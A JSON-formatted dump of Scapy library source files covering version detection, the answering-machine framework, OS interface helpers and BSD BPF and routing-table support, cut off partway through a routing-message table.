    "content": "# SPDX-License-Identifier: GPL-2.0-only\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n# Copyright (C) Philippe Biondi <phil@secdev.org>\n\n\"\"\"\nScapy: create, send, sniff, dissect and manipulate network packets.\n\nUsable either from an interactive console or as a Python library.\nhttps://scapy.net\n\"\"\"\n\nimport datetime\nimport os\nimport re\nimport subprocess\n\n__all__ = [\n    \"VERSION\",\n    \"__version__\",\n]\n\n_SCAPY_PKG_DIR = os.path.dirname(__file__)\n\n\ndef _parse_tag(tag):\n    # type: (str) -> str\n    \"\"\"\n    Parse a tag from ``git describe`` into a version.\n\n    Example::\n\n        v2.3.2-346-g164a52c075c8 -> '2.3.2.dev346'\n    \"\"\"\n    match = re.match('^v?(.+?)-(\\\\d+)-g[a-f0-9]+$', tag)\n    if match:\n        # remove the 'v' prefix and add a '.devN' suffix\n        return '%s.dev%s' % (match.group(1), match.group(2))\n    else:\n        match = re.match('^v?([\\\\d\\\\.]+(rc\\\\d+)?)$', tag)\n        if match:\n            # tagged release version\n            return '%s' % (match.group(1))\n        else:\n            raise ValueError('tag has invalid format')\n\n\ndef _version_from_git_archive():\n    # type: () -> str\n    \"\"\"\n    Rely on git archive \"export-subst\" git attribute.\n    See 'man gitattributes' for more details.\n    Note: describe is only supported with git >= 2.32.0,\n    and the `tags=true` option with git >= 2.35.0 but we\n    use it to workaround GH#3121.\n    \"\"\"\n    git_archive_id = '$Format:%ct %(describe:tags=true)$'.split()\n    tstamp = git_archive_id[0]\n    if len(git_archive_id) > 1:\n        tag = git_archive_id[1]\n    else:\n        # project is run in CI and has another %(describe)\n        tag = \"\"\n\n    if \"Format\" in tstamp:\n        raise ValueError('not a git archive')\n\n    if \"describe\" in tag:\n        # git is too old!\n        tag = \"\"\n    if tag:\n        # archived revision is tagged, use the tag\n        return _parse_tag(tag)\n    elif tstamp:\n        # archived revision is not tagged, use the commit date\n        d = datetime.datetime.fromtimestamp(int(tstamp), datetime.timezone.utc)\n        return d.strftime('%Y.%m.%d')\n\n    raise ValueError(\"invalid git archive format\")\n\n\ndef _version_from_git_describe():\n    # type: () -> str\n    \"\"\"\n    Read the version from ``git describe``. It returns the latest tag with an\n    optional suffix if the current directory is not exactly on the tag.\n\n    Example::\n\n        $ git describe --always\n        v2.3.2-346-g164a52c075c8\n\n    The tag prefix (``v``) and the git commit sha1 (``-g164a52c075c8``) are\n    removed if present.\n\n    If the current directory is not exactly on the tag, a ``.devN`` suffix is\n    appended where N is the number of commits made after the last tag.\n\n    Example::\n\n        >>> _version_from_git_describe()\n        '2.3.2.dev346'\n\n    :raises CalledProcessError: if git is unavailable\n    :return: Scapy's latest tag\n    \"\"\"\n    if not os.path.isdir(os.path.join(os.path.dirname(_SCAPY_PKG_DIR), '.git')):  # noqa: E501\n        raise ValueError('not in scapy git repo')\n\n    def _git(cmd):\n        # type: (str) -> str\n        process = subprocess.Popen(\n            cmd.split(),\n            cwd=_SCAPY_PKG_DIR,\n            stdout=subprocess.PIPE,\n            stderr=subprocess.PIPE\n        )\n        out, err = process.communicate()\n        if process.returncode == 0:\n            return out.decode().strip()\n        else:\n            raise subprocess.CalledProcessError(process.returncode, err)\n\n    tag = _git(\"git describe --tags --always --long\")\n    if not tag.startswith(\"v\"):\n        # Upstream was not fetched\n        commit = _git(\"git rev-list --tags --max-count=1\")\n        tag = _git(\"git describe --tags --always --long %s\" % commit)\n    return _parse_tag(tag)\n\n\ndef _version():\n    # type: () -> str\n    \"\"\"Returns the Scapy version from multiple methods\n\n    :return: the Scapy version\n    \"\"\"\n    # Method 0: from external packaging\n    try:\n        # possibly forced by external packaging\n        return os.environ['SCAPY_VERSION']\n    except KeyError:\n        pass\n\n    # Method 1: from the VERSION file, included in sdist and wheels\n    version_file = os.path.join(_SCAPY_PKG_DIR, 'VERSION')\n    try:\n        # file generated when running sdist\n        with open(version_file, 'r') as fdsec:\n            tag = fdsec.read()\n        return tag\n    except (FileNotFoundError, NotADirectoryError):\n        pass\n\n    # Method 2: from the archive tag, exported when using git archives\n    try:\n        return _version_from_git_archive()\n    except ValueError:\n        pass\n\n    # Method 3: from git itself, used when Scapy was cloned\n    try:\n        return _version_from_git_describe()\n    except Exception:\n        pass\n\n    # Fallback\n    try:\n        # last resort, use the modification date of __init__.py\n        d = datetime.datetime.fromtimestamp(\n            os.path.getmtime(__file__), datetime.timezone.utc\n        )\n        return d.strftime('%Y.%m.%d')\n    except Exception:\n        pass\n\n    # all hope is lost\n    return '0.0.0'\n\n\nVERSION = __version__ = _version()\n\n_tmp = re.search(r\"([0-9]|\\.[0-9])+\", VERSION)\nVERSION_MAIN = _tmp.group() if _tmp is not None else VERSION\n\nif __name__ == \"__main__\":\n    from scapy.main import interact\n    interact()\n"
  },
  {
    "path": "scapy/__main__.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-only\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n# Copyright (C) Philippe Biondi <phil@secdev.org>\n\n\"\"\"\nScapy: create, send, sniff, dissect and manipulate network packets.\n\nUsable either from an interactive console or as a Python library.\nhttp://www.secdev.org/projects/scapy\n\"\"\"\n\nfrom scapy.main import interact\n\ninteract()\n"
  },
  {
    "path": "scapy/all.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-only\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n# Copyright (C) Philippe Biondi <phil@secdev.org>\n\n\"\"\"\nAggregate top level objects from all Scapy modules.\n\"\"\"\n\nfrom scapy.base_classes import *\nfrom scapy.config import *\nfrom scapy.dadict import *\nfrom scapy.data import *\nfrom scapy.error import *\nfrom scapy.themes import *\nfrom scapy.arch import *\nfrom scapy.interfaces import *\n\nfrom scapy.plist import *\nfrom scapy.fields import *\nfrom scapy.packet import *\nfrom scapy.asn1fields import *\nfrom scapy.asn1packet import *\n\nfrom scapy.utils import *\nfrom scapy.route import *\nfrom scapy.sendrecv import *\nfrom scapy.sessions import *\nfrom scapy.supersocket import *\nfrom scapy.volatile import *\nfrom scapy.as_resolvers import *\n\nfrom scapy.automaton import *\nfrom scapy.autorun import *\n\nfrom scapy.main import *\nfrom scapy.consts import *\nfrom scapy.compat import raw  # noqa: F401\n\nfrom scapy.layers.all import *\n\nfrom scapy.asn1.asn1 import *\nfrom scapy.asn1.ber import *\nfrom scapy.asn1.mib import *\n\nfrom scapy.pipetool import *\nfrom scapy.scapypipes import *\n\nif conf.ipv6_enabled:  # noqa: F405\n    from scapy.utils6 import *  # noqa: F401\n    from scapy.route6 import *  # noqa: F401\n\nfrom scapy.ansmachine import *\n"
  },
  {
    "path": "scapy/ansmachine.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-only\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n# Copyright (C) Philippe Biondi <phil@secdev.org>\n\n\"\"\"\nAnswering machines.\n\"\"\"\n\n########################\n#  Answering machines  #\n########################\n\nimport abc\nimport functools\nimport threading\nimport socket\nimport warnings\n\nfrom scapy.arch import get_if_addr\nfrom scapy.config import conf\nfrom scapy.sendrecv import sendp, sniff, AsyncSniffer\nfrom scapy.packet import Packet\nfrom scapy.plist import PacketList\n\nfrom typing import (\n    Any,\n    Callable,\n    Dict,\n    Generic,\n    Optional,\n    Tuple,\n    Type,\n    TypeVar,\n    cast,\n)\n\n_T = TypeVar(\"_T\", Packet, PacketList)\n\n\nclass ReferenceAM(type):\n    def __new__(cls,\n                name,  # type: str\n                bases,  # type: Tuple[type, ...]\n                dct  # type: Dict[str, Any]\n                ):\n        # type: (...) -> Type['AnsweringMachine[_T]']\n        obj = cast('Type[AnsweringMachine[_T]]',\n                   super(ReferenceAM, cls).__new__(cls, name, bases, dct))\n        try:\n            import inspect\n            obj.__signature__ = inspect.signature(  # type: ignore\n                obj.parse_options\n            )\n        except (ImportError, AttributeError):\n            pass\n        if obj.function_name:\n            func = lambda obj=obj, *args, **kargs: obj(*args, **kargs)()  # type: ignore  # noqa: E501\n            # Inject signature\n            func.__name__ = func.__qualname__ = obj.function_name\n            func.__doc__ = obj.__doc__ or obj.parse_options.__doc__\n            try:\n                func.__signature__ = obj.__signature__  # type: ignore\n            except (AttributeError):\n                pass\n            globals()[obj.function_name] = func\n        return obj\n\n\nclass AnsweringMachine(Generic[_T], metaclass=ReferenceAM):\n    function_name = \"\"\n    filter = None  # type: Optional[str]\n    sniff_options = {\"store\": 0}  # type: Dict[str, Any]\n    sniff_options_list = [\"store\", \"iface\", \"count\", \"promisc\", \"filter\",\n                          \"type\", \"prn\", \"stop_filter\", \"opened_socket\"]\n    send_options = {\"verbose\": 0}  # type: Dict[str, Any]\n    send_options_list = [\"iface\", \"inter\", \"loop\", \"verbose\", \"socket\"]\n    send_function = staticmethod(sendp)\n\n    def __init__(self, **kargs):\n        # type: (Any) -> None\n        self.mode = 0\n        self.verbose = kargs.get(\"verbose\", conf.verb >= 0)\n        if self.filter:\n            kargs.setdefault(\"filter\", self.filter)\n        kargs.setdefault(\"prn\", self.reply)\n        self.optam1 = {}  # type: Dict[str, Any]\n        self.optam2 = {}  # type: Dict[str, Any]\n        self.optam0 = {}  # type: Dict[str, Any]\n        doptsend, doptsniff = self.parse_all_options(1, kargs)\n        self.defoptsend = self.send_options.copy()\n        self.defoptsend.update(doptsend)\n        self.defoptsniff = self.sniff_options.copy()\n        self.defoptsniff.update(doptsniff)\n        self.optsend = {}   # type: Dict[str, Any]\n        self.optsniff = {}   # type: Dict[str, Any]\n\n    def __getattr__(self, attr):\n        # type: (str) -> Any\n        for dct in [self.optam2, self.optam1]:\n            if attr in dct:\n                return dct[attr]\n        raise AttributeError(attr)\n\n    def __setattr__(self, attr, val):\n        # type: (str, Any) -> None\n        mode = self.__dict__.get(\"mode\", 0)\n        if mode == 0:\n            self.__dict__[attr] = val\n        else:\n            [self.optam1, self.optam2][mode - 1][attr] = val\n\n    def parse_options(self):\n        # type: () -> None\n        pass\n\n    def parse_all_options(self, mode, kargs):\n        # type: (int, Any) -> Tuple[Dict[str, Any], Dict[str, Any]]\n        sniffopt = {}  # type: Dict[str, Any]\n        sendopt = {}  # type: Dict[str, Any]\n        for k in list(kargs):  # use list(): kargs is modified in the loop\n            if k in self.sniff_options_list:\n                sniffopt[k] = kargs[k]\n            if k in self.send_options_list:\n                sendopt[k] = kargs[k]\n            if k in self.sniff_options_list + self.send_options_list:\n                del kargs[k]\n        if mode != 2 or kargs:\n            if mode == 1:\n                self.optam0 = kargs\n            elif mode == 2 and kargs:\n                k = self.optam0.copy()\n                k.update(kargs)\n                self.parse_options(**k)\n                kargs = k\n            omode = self.__dict__.get(\"mode\", 0)\n            self.__dict__[\"mode\"] = mode\n            self.parse_options(**kargs)\n            self.__dict__[\"mode\"] = omode\n        return sendopt, sniffopt\n\n    def is_request(self, req):\n        # type: (Packet) -> int\n        return 1\n\n    @abc.abstractmethod\n    def make_reply(self, req):\n        # type: (Packet) -> _T\n        pass\n\n    def send_reply(self, reply, send_function=None):\n        # type: (_T, Optional[Callable[..., None]]) -> None\n        if send_function:\n            send_function(reply)\n        else:\n            self.send_function(reply, **self.optsend)\n\n    def print_reply(self, req, reply):\n        # type: (Packet, _T) -> None\n        if isinstance(reply, PacketList):\n            print(\"%s ==> %s\" % (req.summary(),\n                                 [res.summary() for res in reply]))\n        else:\n            print(\"%s ==> %s\" % (req.summary(), reply.summary()))\n\n    def reply(self, pkt, send_function=None, address=None):\n        # type: (Packet, Optional[Callable[..., None]], Optional[Any]) -> None\n        if not self.is_request(pkt):\n            return\n        if address:\n            # Only on AnsweringMachineTCP\n            reply = self.make_reply(pkt, address=address)  # type: ignore\n        else:\n            reply = self.make_reply(pkt)\n        if not reply:\n            return\n        if send_function:\n            self.send_reply(reply, send_function=send_function)\n        else:\n            # Retro-compability. Remove this if eventually\n            self.send_reply(reply)\n        if self.verbose:\n            self.print_reply(pkt, reply)\n\n    def run(self, *args, **kargs):\n        # type: (Any, Any) -> None\n        warnings.warn(\n            \"run() method deprecated. The instance is now callable\",\n            DeprecationWarning\n        )\n        self(*args, **kargs)\n\n    def bg(self, *args, **kwargs):\n        # type: (Any, Any) -> AsyncSniffer\n        kwargs.setdefault(\"bg\", True)\n        self(*args, **kwargs)\n        return self.sniffer\n\n    def __call__(self, *args, **kargs):\n        # type: (Any, Any) -> None\n        bg = kargs.pop(\"bg\", False)\n        optsend, optsniff = self.parse_all_options(2, kargs)\n        self.optsend = self.defoptsend.copy()\n        self.optsend.update(optsend)\n        self.optsniff = self.defoptsniff.copy()\n        self.optsniff.update(optsniff)\n\n        if bg:\n            self.sniff_bg()\n        else:\n            try:\n                self.sniff()\n            except KeyboardInterrupt:\n                print(\"Interrupted by user\")\n\n    def sniff(self):\n        # type: () -> None\n        sniff(**self.optsniff)\n\n    def sniff_bg(self):\n        # type: () -> None\n        self.sniffer = AsyncSniffer(**self.optsniff)\n        self.sniffer.start()\n\n\nclass AnsweringMachineTCP(AnsweringMachine[Packet]):\n    \"\"\"\n    An answering machine that use the classic socket.socket to\n    answer multiple TCP clients\n    \"\"\"\n    TYPE = socket.SOCK_STREAM\n\n    def parse_options(self, port=80, cls=conf.raw_layer):\n        # type: (int, Type[Packet]) -> None\n        self.port = port\n        self.cls = cls\n\n    def close(self):\n        # type: () -> None\n        pass\n\n    def sniff(self):\n        # type: () -> None\n        from scapy.supersocket import StreamSocket\n        ssock = socket.socket(socket.AF_INET, self.TYPE)\n        try:\n            ssock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\n        except OSError:\n            pass\n        ssock.bind(\n            (get_if_addr(self.optsniff.get(\"iface\", conf.iface)), self.port))\n        ssock.listen()\n        sniffers = []\n        try:\n            while True:\n                clientsocket, address = ssock.accept()\n                print(\"%s connected\" % repr(address))\n                sock = StreamSocket(clientsocket, self.cls)\n                optsniff = self.optsniff.copy()\n                optsniff[\"prn\"] = functools.partial(self.reply,\n                                                    send_function=sock.send,\n                                                    address=address)\n                del optsniff[\"iface\"]\n                sniffer = AsyncSniffer(opened_socket=sock, **optsniff)\n                sniffer.start()\n                sniffers.append((sniffer, sock))\n        finally:\n            for (sniffer, sock) in sniffers:\n                try:\n                    sniffer.stop()\n                except Exception:\n                    pass\n                sock.close()\n            self.close()\n            ssock.close()\n\n    def sniff_bg(self):\n        # type: () -> None\n        self.sniffer = threading.Thread(target=self.sniff)  # type: ignore\n        self.sniffer.start()\n\n    def make_reply(self, req, address=None):\n        # type: (Packet, Optional[Any]) -> Packet\n        return req\n\n\nclass AnsweringMachineUDP(AnsweringMachineTCP):\n    \"\"\"\n    An answering machine that use the classic socket.socket to\n    answer multiple UDP clients\n    \"\"\"\n    TYPE = socket.SOCK_DGRAM\n"
  },
  {
    "path": "scapy/arch/__init__.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-only\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n# Copyright (C) Philippe Biondi <phil@secdev.org>\n\n\"\"\"\nOperating system specific functionality.\n\"\"\"\n\nimport socket\nimport sys\n\nfrom scapy.compat import orb\nfrom scapy.config import conf, _set_conf_sockets\nfrom scapy.consts import LINUX, SOLARIS, WINDOWS, BSD\nfrom scapy.data import (\n    IPV6_ADDR_GLOBAL,\n    IPV6_ADDR_LOOPBACK,\n)\nfrom scapy.error import log_loading\nfrom scapy.interfaces import (\n    _GlobInterfaceType,\n    network_name,\n    resolve_iface,\n)\nfrom scapy.pton_ntop import inet_pton, inet_ntop\n\nfrom scapy.libs.extcap import load_extcap\n\n# Typing imports\nfrom typing import (\n    List,\n    Optional,\n    Tuple,\n    Union,\n    TYPE_CHECKING,\n)\n\nif TYPE_CHECKING:\n    from scapy.interfaces import NetworkInterface\n\n# Note: the typing of this file is heavily ignored because MyPy doesn't allow\n# to import the same function from different files.\n\n# This list only includes imports that are common across all platforms.\n__all__ = [  # noqa: F405\n    \"get_if_addr\",\n    \"get_if_addr6\",\n    \"get_if_hwaddr\",\n    \"get_if_list\",\n    \"get_if_raw_addr\",\n    \"get_if_raw_addr6\",\n    \"get_working_if\",\n    \"in6_getifaddr\",\n    \"read_nameservers\",\n    \"read_routes\",\n    \"read_routes6\",\n    \"load_extcap\",\n    \"SIOCGIFHWADDR\",\n]\n\n# BACKWARD COMPATIBILITY\nfrom scapy.interfaces import (\n    get_if_list,\n    get_working_if,\n)\n\n\n# We build the utils functions BEFORE importing the underlying handlers\n# because they might be themselves imported within the arch/ folder.\n\ndef str2mac(s):\n    # Duplicated from scapy/utils.py for import reasons\n    # type: (bytes) -> str\n    return (\"%02x:\" * 6)[:-1] % tuple(orb(x) for x in s)\n\n\ndef get_if_addr(iff):\n    # type: (_GlobInterfaceType) -> str\n    \"\"\"\n    Returns the IPv4 of an interface or \"0.0.0.0\" if not available\n    \"\"\"\n    return inet_ntop(socket.AF_INET, get_if_raw_addr(iff))  # noqa: F405\n\n\ndef get_if_hwaddr(iff):\n    # type: (_GlobInterfaceType) -> str\n    \"\"\"\n    Returns the MAC (hardware) address of an interface\n    \"\"\"\n    return resolve_iface(iff).mac or \"00:00:00:00:00:00\"\n\n\ndef get_if_addr6(niff):\n    # type: (_GlobInterfaceType) -> Optional[str]\n    \"\"\"\n    Returns the main global unicast address associated with provided\n    interface, in human readable form. If no global address is found,\n    None is returned.\n    \"\"\"\n    iff = network_name(niff)\n    scope = IPV6_ADDR_GLOBAL\n    if iff == conf.loopback_name:\n        scope = IPV6_ADDR_LOOPBACK\n    return next((x[0] for x in in6_getifaddr()\n                 if x[2] == iff and x[1] == scope), None)\n\n\ndef get_if_raw_addr6(iff):\n    # type: (_GlobInterfaceType) -> Optional[bytes]\n    \"\"\"\n    Returns the main global unicast address associated with provided\n    interface, in network format. If no global address is found, None\n    is returned.\n    \"\"\"\n    ip6 = get_if_addr6(iff)\n    if ip6 is not None:\n        return inet_pton(socket.AF_INET6, ip6)\n\n    return None\n\n\n# Next step is to import following architecture specific functions:\n# def attach_filter(s, filter, iface)\n# def get_if_raw_addr(iff)\n# def in6_getifaddr()\n# def read_nameservers()\n# def read_routes()\n# def read_routes6()\n# def set_promisc(s,iff,val=1)\n\nif LINUX:\n    from scapy.arch.linux import *  # noqa F403\nelif BSD:\n    from scapy.arch.bpf.core import *  # noqa F403\n    if not conf.use_pcap:\n        # Native\n        from scapy.arch.bpf.supersocket import *  # noqa F403\n        conf.use_bpf = True\n    SIOCGIFHWADDR = 0  # mypy compat\nelif SOLARIS:\n    from scapy.arch.solaris import *  # noqa F403\nelif WINDOWS:\n    from scapy.arch.windows import *  # noqa F403\n    from scapy.arch.windows.native import *  # noqa F403\n    SIOCGIFHWADDR = 0  # mypy compat\nelse:\n    log_loading.critical(\n        \"Scapy currently does not support %s! I/O will NOT work!\" % sys.platform\n    )\n    SIOCGIFHWADDR = 0  # mypy compat\n\n    # DUMMYS\n    def get_if_raw_addr(iff: Union['NetworkInterface', str]) -> bytes:\n        return b\"\\0\\0\\0\\0\"\n\n    def in6_getifaddr() -> List[Tuple[str, int, str]]:\n        return []\n\n    def read_nameservers() -> List[str]:\n        return []\n\n    def read_routes() -> List[str]:\n        return []\n\n    def read_routes6() -> List[str]:\n        return []\n\nif LINUX or BSD:\n    conf.load_layers.append(\"tuntap\")\n\n_set_conf_sockets()  # Apply config\n"
  },
  {
    "path": "scapy/arch/bpf/__init__.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-only\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n# Copyright (C) Guillaume Valadon <guillaume@valadon.net>\n\n\"\"\"\nScapy BSD native support\n\"\"\"\n"
  },
  {
    "path": "scapy/arch/bpf/consts.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-only\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n# Copyright (C) Guillaume Valadon <guillaume@valadon.net>\n\n\"\"\"\nScapy BSD native support - constants\n\"\"\"\n\nimport ctypes\n\nfrom scapy.libs.structures import bpf_program\nfrom scapy.data import MTU\n\n# Type hints\nfrom typing import (\n    Any,\n    Callable,\n)\n\nSIOCGIFFLAGS = 0xc0206911\nBPF_BUFFER_LENGTH = MTU\n\n# From sys/ioccom.h\n\nIOCPARM_MASK = 0x1fff\nIOC_VOID = 0x20000000\nIOC_OUT = 0x40000000\nIOC_IN = 0x80000000\nIOC_INOUT = IOC_IN | IOC_OUT\n\n_th = lambda x: x if isinstance(x, int) else ctypes.sizeof(x)  # type: Callable[[Any], int]  # noqa: E501\n\n\ndef _IOC(inout, group, num, len):\n    # type: (int, str, int, Any) -> int\n    return (inout |\n            ((_th(len) & IOCPARM_MASK) << 16) |\n            (ord(group) << 8) | (num))\n\n\n_IO = lambda g, n: _IOC(IOC_VOID, g, n, 0)  # type: Callable[[str, int], int]\n_IOR = lambda g, n, t: _IOC(IOC_OUT, g, n, t)  # type: Callable[[str, int, Any], int]\n_IOW = lambda g, n, t: _IOC(IOC_IN, g, n, t)  # type: Callable[[str, int, Any], int]\n_IOWR = lambda g, n, t: _IOC(IOC_INOUT, g, n, t)  # type: Callable[[str, int, Any], int]\n\n# Length of some structures\n_bpf_stat = 8\n_ifreq = 32\n\n# From net/bpf.h\nBIOCGBLEN = _IOR('B', 102, ctypes.c_uint)\nBIOCSBLEN = _IOWR('B', 102, ctypes.c_uint)\nBIOCSETF = _IOW('B', 103, bpf_program)\nBIOCPROMISC = _IO('B', 105)\nBIOCGDLT = _IOR('B', 106, ctypes.c_uint)\nBIOCSETIF = _IOW('B', 108, 32)\nBIOCGSTATS = _IOR('B', 111, _bpf_stat)\nBIOCIMMEDIATE = _IOW('B', 112, ctypes.c_uint)\nBIOCSHDRCMPLT = _IOW('B', 117, ctypes.c_uint)\nBIOCSDLT = _IOW('B', 120, ctypes.c_uint)\nBIOCSTSTAMP = _IOW('B', 132, ctypes.c_uint)\n\nBPF_T_NANOTIME = 0x0001\n"
  },
  {
    "path": "scapy/arch/bpf/core.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-only\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n# Copyright (C) Guillaume Valadon <guillaume@valadon.net>\n\n\"\"\"\nScapy *BSD native support - core\n\"\"\"\n\n\nimport fcntl\nimport os\nimport socket\nimport struct\n\nfrom scapy.arch.bpf.consts import BIOCSETF, BIOCSETIF\nfrom scapy.arch.common import compile_filter, free_filter\nfrom scapy.config import conf\nfrom scapy.consts import LINUX\nfrom scapy.error import Scapy_Exception\nfrom scapy.interfaces import (\n    InterfaceProvider,\n    NetworkInterface,\n    _GlobInterfaceType,\n)\n\n# re-export\nfrom scapy.arch.bpf.pfroute import (  # noqa F403\n    read_routes,\n    read_routes6,\n    _get_if_list,\n)\nfrom scapy.arch.common import get_if_raw_addr, read_nameservers  # noqa: F401\n\n# Typing\nfrom typing import (\n    Dict,\n    List,\n    Tuple,\n)\n\nif LINUX:\n    raise OSError(\"BPF conflicts with Linux\")\n\n# BPF specific functions\n\n\ndef get_dev_bpf():\n    # type: () -> Tuple[int, int]\n    \"\"\"Returns an opened BPF file object\"\"\"\n\n    # Get the first available BPF handle\n    for bpf in range(256):\n        try:\n            fd = os.open(\"/dev/bpf%i\" % bpf, os.O_RDWR)\n            return (fd, bpf)\n        except OSError as ex:\n            if ex.errno == 13:  # Permission denied\n                raise Scapy_Exception(\n                    (\n                        \"Permission denied: could not open /dev/bpf%i. \"\n                        \"Make sure to be running Scapy as root ! (sudo)\"\n                    )\n                    % bpf\n                )\n            continue\n\n    raise Scapy_Exception(\"No /dev/bpf handle is available !\")\n\n\ndef attach_filter(fd, bpf_filter, iface):\n    # type: (int, str, _GlobInterfaceType) -> None\n    \"\"\"Attach a BPF filter to the BPF file descriptor\"\"\"\n    bp = compile_filter(bpf_filter, iface)\n    # Assign the BPF program to the interface\n    ret = fcntl.ioctl(fd, BIOCSETF, bp)\n    if ret < 0:\n        raise Scapy_Exception(\"Can't attach the BPF filter !\")\n    # Free\n    free_filter(bp)\n\n\ndef in6_getifaddr():\n    # type: () -> List[Tuple[str, int, str]]\n    \"\"\"\n    Returns a list of 3-tuples of the form (addr, scope, iface) where\n    'addr' is the address of scope 'scope' associated to the interface\n    'iface'.\n\n    This is the list of all addresses of all interfaces available on\n    the system.\n    \"\"\"\n    ifaces = _get_if_list()\n    return [\n        (ip[\"address\"], ip[\"scope\"], iface[\"name\"])\n        for iface in ifaces.values()\n        for ip in iface[\"ips\"]\n        if ip[\"af_family\"] == socket.AF_INET6\n    ]\n\n\n# Interface provider\n\n\nclass BPFInterfaceProvider(InterfaceProvider):\n    name = \"BPF\"\n\n    def _is_valid(self, dev):\n        # type: (NetworkInterface) -> bool\n        if not dev.flags & 0x1:  # not IFF_UP\n            return False\n        # Get a BPF handle\n        try:\n            fd = get_dev_bpf()[0]\n        except Scapy_Exception:\n            return True  # Can't check if available (non sudo?)\n        if fd is None:\n            raise Scapy_Exception(\"No /dev/bpf are available !\")\n        # Check if the interface can be used\n        try:\n            fcntl.ioctl(fd, BIOCSETIF, struct.pack(\"16s16x\", dev.network_name.encode()))\n        except IOError:\n            return False\n        else:\n            return True\n        finally:\n            # Close the file descriptor\n            os.close(fd)\n\n    def load(self):\n        # type: () -> Dict[str, NetworkInterface]\n        data = {}\n        for iface in _get_if_list().values():\n            if_data = iface.copy()\n            if_data.update(\n                {\n                    \"network_name\": iface[\"name\"],\n                    \"description\": iface[\"name\"],\n                    \"ips\": [x[\"address\"] for x in iface[\"ips\"]],\n                }\n            )\n            data[iface[\"name\"]] = NetworkInterface(self, if_data)\n        return data\n\n\nconf.ifaces.register_provider(BPFInterfaceProvider)\n"
  },
  {
    "path": "scapy/arch/bpf/pfroute.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-only\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n# Copyright (C) Gabriel Potter\n\n\"\"\"\nThis file implements the PF_ROUTE API that is used to read the network\nconfiguration of the machine.\n\"\"\"\n\nimport ctypes\nimport ctypes.util\nimport socket\nimport struct\n\nfrom scapy.consts import (\n    BIG_ENDIAN,\n    BSD,\n    DARWIN,\n    IS_64BITS,\n    NETBSD,\n    OPENBSD,\n)\nfrom scapy.config import conf\nfrom scapy.error import log_runtime\nfrom scapy.packet import (\n    Packet,\n    bind_layers,\n)\nfrom scapy.utils import atol\nfrom scapy.utils6 import in6_mask2cidr, in6_getscope\n\nfrom scapy.fields import (\n    ByteEnumField,\n    ByteField,\n    ConditionalField,\n    Field,\n    FlagsField,\n    IP6Field,\n    IPField,\n    MACField,\n    MultipleTypeField,\n    PacketField,\n    PacketListField,\n    FieldListField,\n    PadField,\n    StrField,\n    StrFixedLenField,\n    StrLenField,\n    XStrLenField,\n)\nfrom scapy.pton_ntop import inet_pton\n\n# Typing imports\nfrom typing import (\n    Any,\n    Dict,\n    Optional,\n    List,\n    Tuple,\n    Type,\n)\n\n# Missing attributes\nif not hasattr(socket, \"PF_ROUTE\"):\n    socket.PF_ROUTE = 17\n\n# ctypes definitions\n\nif BSD:  # Can be imported for testing.\n    LIBC = ctypes.cdll.LoadLibrary(ctypes.util.find_library(\"c\"))\n    LIBC.sysctl.argtypes = [\n        ctypes.POINTER(ctypes.c_int),\n        ctypes.c_uint,\n        ctypes.c_void_p,\n        ctypes.POINTER(ctypes.c_size_t),\n        ctypes.c_void_p,\n        ctypes.c_size_t,\n    ]\n    LIBC.sysctl.restype = ctypes.c_int\nelse:\n    LIBC = None\n\n_bsd_iff_flags = [\n    \"UP\",\n    \"BROADCAST\",\n    \"DEBUG\",\n    \"LOOPBACK\",\n    \"POINTOPOINT\",\n    \"NEEDSEPOCH\",  # UNNUMBERED on NetBSD\n    \"DRV_RUNNING\",\n    \"NOARP\",\n    \"PROMISC\",\n    \"ALLMULTI\",\n    \"DRV_OACTIVE\",\n    \"SIMPLEX\",\n    \"LINK0\",\n    \"LINK1\",\n    \"LINK2\",\n    \"MULTICAST\",\n    \"CANTCONFIG\",\n    \"PPROMISC\",\n    \"MONITOR\",\n    \"STATICARP\",\n    \"STICKYARP\",\n    \"DYING\",\n    \"RENAMING\",\n    \"SPARE\",\n    \"NETLINK_1\",\n]\n\nif NETBSD:\n    _RTM_TYPE = {\n        # man 4 route\n        0x01: \"RTM_ADD\",\n        0x02: \"RTM_DELETE\",\n        0x03: \"RTM_CHANGE\",\n        0x04: \"RTM_GET\",\n        0x05: \"RTM_LOSING\",\n        0x06: \"RTM_REDIRECT\",\n        0x07: \"RTM_MISS\",\n        0x08: \"RTM_LOCK\",\n        0x09: \"RTM_OLDADD\",\n        0x0A: \"RTM_OLDDEL\",\n        0x0B: \"RTM_RESOLVE\",\n        0x0C: \"RTM_ONEWADDR\",\n        0x0D: \"RTM_ODELADDR\",\n        0x0E: \"RTM_OOIFINFO\",\n        0x0F: \"RTM_OIFINFO\",\n        0x10: \"RTM_IFANNOUNCE\",\n        0x11: \"RTM_IEEE80211\",\n        0x12: \"RTM_SETGATE\",\n        0x13: \"RTM_LLINFO_UPD\",\n        0x14: \"RTM_IFINFO\",\n        0x15: \"RTM_OCHGADDR\",\n        0x16: \"RTM_NEWADDR\",\n        0x17: \"RTM_DELADDR\",\n        0x18: \"RTM_CHGADDR\",\n    }\nelif OPENBSD:\n    _RTM_TYPE = {\n        # man 4 route\n        0x01: \"RTM_ADD\",\n        0x02: \"RTM_DELETE\",\n        0x03: \"RTM_CHANGE\",\n        0x04: \"RTM_GET\",\n        0x05: \"RTM_LOSING\",\n        0x06: \"RTM_REDIRECT\",\n        0x07: \"RTM_MISS\",\n        0x08: \"RTM_LOCK\",\n        0x09: \"RTM_OLDADD\",\n        0x0A: \"RTM_OLDDEL\",\n        0x0B: \"RTM_RESOLVE\",\n        0x0C: \"RTM_NEWADDR\",\n        0x0D: \"RTM_DELADDR\",\n        0x0E: \"RTM_IFINFO\",\n        0x0F: 